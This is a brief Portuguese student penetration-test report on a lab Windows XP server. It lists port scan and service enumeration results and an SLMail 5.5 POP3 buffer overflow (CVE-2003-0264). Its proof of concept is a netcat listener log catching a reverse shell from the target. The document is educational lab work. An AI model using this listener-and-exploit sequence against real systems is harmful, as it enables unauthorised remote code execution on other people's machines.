**Relatório de Pentest**

**Tarcio Rodrigo Almeida dos Santos**

SÃO PAULO AGOSTO/2022

**Projeto Integrador**

**Tema**: Segurança em Servidor

Realizar os pentest sobre os serviços

Elaboração e divulgação dos relatório

SÃO PAULO AGOSTO/2022

**Portas abertas no server**

25/tcp smtp

79/tcp finger

106/tcp pop3pw

110/tcp pop3

135/tcp msrpc

139/tcp netbios-ssn

445/tcp microsoft-ds

**Informações do server**

Sistema operacional do server

Microsoft Windows XP SP2 or SP3

Nome do computador

wks001

Grupo

WORKGROUP

SÃO PAULO AGOSTO/2022

**Enumeração das portas**

PORT STATE SERVICE VERSION

25/tcp open smtp SLmail smtpd 5.5.0.4433

79/tcp open finger SLMail fingerd

106/tcp open pop3pw SLMail pop3pw

110/tcp open pop3 BVRP Software SLMAIL pop3d

135/tcp open msrpc Microsoft Windows RPC

139/tcp open netbios-ssn Microsoft Windows netbios-ssn

445/tcp open microsoft-ds Microsoft Windows XP microsoft-ds

SÃO PAULO AGOSTO/2022

**Vulnerabilidades encontradas**

1.1.Bufferoverflow

Porta 110

Serviço de email

Aplicativo SLMail 5.5.0.4433

CVE CVE-2003-0264

Link para mais informações:

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0264

**POC** (Prova de conceito)

**Imagem do RCE** (Remote Code Execution) **obitido:**

|  |
| --- |
| ┌──(root㉿kali)-[~]  └─# nc -lnvp 443  listening on [any] 443 ...  connect to [192.168.153.135] from (UNKNOWN) [192.168.153.129] 1038  Microsoft Windows XP [vers�o 5.1.2600]  (C) Copyright 1985-2001 Microsoft Corp.  C:\Arquivos de programas\SLmail\System> |

SÃO PAULO AGOSTO/2022